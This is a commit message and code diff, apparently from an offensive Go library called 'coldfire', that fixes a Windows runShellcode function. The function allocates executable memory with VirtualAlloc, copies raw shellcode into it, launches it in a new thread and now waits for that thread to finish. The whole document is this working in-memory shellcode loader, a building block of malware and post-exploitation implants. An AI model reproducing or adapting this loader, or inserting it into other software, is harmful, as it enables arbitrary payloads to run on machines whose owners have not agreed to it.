Merge pull request #39 from elusivethreat/master

Fixed runShellcode (Windows)

Author: unrooted

coldfire_windows.go

@@ -44,12 +44,14 @@ func runShellcode(sc []byte, bg bool){
 	kernel32 := syscall.MustLoadDLL("kernel32.dll")
 	VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
 	procCreateThread := kernel32.MustFindProc("CreateThread")
+	waitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
 	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x2000|0x1000, syscall.PAGE_EXECUTE_READWRITE)
 	ptr := (*[990000]byte)(unsafe.Pointer(addr))
 	for i, value := range sc {
 		ptr[i] = value
 	}
-	procCreateThread.Call(0, 0, addr, 0, bg_run, 0)
+	threadHandle, _, _ := procCreateThread.Call(0, 0, addr, 0, bg_run, 0)
+	waitForSingleObject.Call(threadHandle, uintptr(^uint(0)))
 }
 
 // func dialog(message, title string) {